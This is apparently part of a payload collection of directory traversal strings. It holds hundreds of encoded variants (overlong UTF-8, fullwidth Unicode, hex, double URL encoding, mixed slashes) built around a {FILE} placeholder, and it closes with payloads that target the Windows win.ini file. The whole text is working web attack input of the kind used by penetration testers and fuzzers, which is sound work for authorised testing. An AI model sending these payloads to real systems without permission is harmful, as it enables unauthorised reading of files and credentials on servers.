%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}
%uff0e%uff0e%u2215{FILE}
%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}
..%u2216{FILE}
..%u2216..%u2216{FILE}
..%u2216..%u2216..%u2216{FILE}
..%u2216..%u2216..%u2216..%u2216{FILE}
..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}
..%uEFC8{FILE}
..%uEFC8..%uEFC8{FILE}
..%uEFC8..%uEFC8..%uEFC8{FILE}
..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}
..%uF025{FILE}
..%uF025..%uF025{FILE}
..%uF025..%uF025..%uF025{FILE}
..%uF025..%uF025..%uF025..%uF025{FILE}
..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}
%uff0e%uff0e\{FILE}
%uff0e%uff0e\%uff0e%uff0e\{FILE}
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}
%uff0e%uff0e%u2216{FILE}
%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}
..0x2f{FILE}
..0x2f..0x2f{FILE}
..0x2f..0x2f..0x2f{FILE}
..0x2f..0x2f..0x2f..0x2f{FILE}
..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}
0x2e0x2e/{FILE}
0x2e0x2e/0x2e0x2e/{FILE}
0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}
0x2e0x2e0x2f{FILE}
0x2e0x2e0x2f0x2e0x2e0x2f{FILE}
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}
..0x5c{FILE}
..0x5c..0x5c{FILE}
..0x5c..0x5c..0x5c{FILE}
..0x5c..0x5c..0x5c..0x5c{FILE}
..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}
0x2e0x2e\{FILE}
0x2e0x2e\0x2e0x2e\{FILE}
0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}
0x2e0x2e0x5c{FILE}
0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
..%c0%2f{FILE}
..%c0%2f..%c0%2f{FILE}
..%c0%2f..%c0%2f..%c0%2f{FILE}
..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
%c0%2e%c0%2e%c0%2f{FILE}
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
..%c0%5c{FILE}
..%c0%5c..%c0%5c{FILE}
..%c0%5c..%c0%5c..%c0%5c{FILE}
..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
%c0%2e%c0%2e%c0%5c{FILE}
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
///%2e%2e%2f{FILE}
///%2e%2e%2f%2e%2e%2f{FILE}
///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
\\\%2e%2e%5c{FILE}
\\\%2e%2e%5c%2e%2e%5c{FILE}
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
..//{FILE}
..//..//{FILE}
..//..//..//{FILE}
..//..//..//..//{FILE}
..//..//..//..//..//{FILE}
..//..//..//..//..//..//{FILE}
..//..//..//..//..//..//..//{FILE}
..//..//..//..//..//..//..//..//{FILE}
..///{FILE}
..///..///{FILE}
..///..///..///{FILE}
..///..///..///..///{FILE}
..///..///..///..///..///{FILE}
..///..///..///..///..///..///{FILE}
..///..///..///..///..///..///..///{FILE}
..///..///..///..///..///..///..///..///{FILE}
..\\{FILE}
..\\..\\{FILE}
..\\..\\..\\{FILE}
..\\..\\..\\..\\{FILE}
..\\..\\..\\..\\..\\{FILE}
..\\..\\..\\..\\..\\..\\{FILE}
..\\..\\..\\..\\..\\..\\..\\{FILE}
..\\..\\..\\..\\..\\..\\..\\..\\{FILE}
..\\\{FILE}
..\\\..\\\{FILE}
..\\\..\\\..\\\{FILE}
..\\\..\\\..\\\..\\\{FILE}
..\\\..\\\..\\\..\\\..\\\{FILE}
..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
./\/./{FILE}
./\/././\/./{FILE}
./\/././\/././\/./{FILE}
./\/././\/././\/././\/./{FILE}
./\/././\/././\/././\/././\/./{FILE}
./\/././\/././\/././\/././\/././\/./{FILE}
./\/././\/././\/././\/././\/././\/././\/./{FILE}
./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}
.\/\.\{FILE}
.\/\.\.\/\.\{FILE}
.\/\.\.\/\.\.\/\.\{FILE}
.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}
./../{FILE}
./.././../{FILE}
./.././.././../{FILE}
./.././.././.././../{FILE}
./.././.././.././.././../{FILE}
./.././.././.././.././.././../{FILE}
./.././.././.././.././.././.././../{FILE}
./.././.././.././.././.././.././.././../{FILE}
.\..\{FILE}
.\..\.\..\{FILE}
.\..\.\..\.\..\{FILE}
.\..\.\..\.\..\.\..\{FILE}
.\..\.\..\.\..\.\..\.\..\{FILE}
.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
.//..//{FILE}
.//..//.//..//{FILE}
.//..//.//..//.//..//{FILE}
.//..//.//..//.//..//.//..//{FILE}
.//..//.//..//.//..//.//..//.//..//{FILE}
.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
.\\..\\{FILE}
.\\..\\.\\..\\{FILE}
.\\..\\.\\..\\.\\..\\{FILE}
.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
../{FILE}
../..//{FILE}
../..//../{FILE}
../..//../..//{FILE}
../..//../..//../{FILE}
../..//../..//../..//{FILE}
../..//../..//../..//../{FILE}
../..//../..//../..//../..//{FILE}
..\{FILE}
..\..\\{FILE}
..\..\\..\{FILE}
..\..\\..\..\\{FILE}
..\..\\..\..\\..\{FILE}
..\..\\..\..\\..\..\\{FILE}
..\..\\..\..\\..\..\\..\{FILE}
..\..\\..\..\\..\..\\..\..\\{FILE}
..///{FILE}
../..///{FILE}
../..//..///{FILE}
../..//../..///{FILE}
../..//../..//..///{FILE}
../..//../..//../..///{FILE}
../..//../..//../..//..///{FILE}
../..//../..//../..//../..///{FILE}
..\\\{FILE}
..\..\\\{FILE}
..\..\\..\\\{FILE}
..\..\\..\..\\\{FILE}
..\..\\..\..\\..\\\{FILE}
..\..\\..\..\\..\..\\\{FILE}
..\..\\..\..\\..\..\\..\\\{FILE}
..\..\\..\..\\..\..\\..\..\\\{FILE}
```


# More Directory Traversal Payloads

```
\..\WINDOWS\win.ini
\..\..\WINDOWS\win.ini
\..\..\..\WINDOWS\win.ini
\..\..\..\..\WINDOWS\win.ini
\..\..\..\..\..\WINDOWS\win.ini
\..\..\..\..\..\..\WINDOWS\win.ini
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
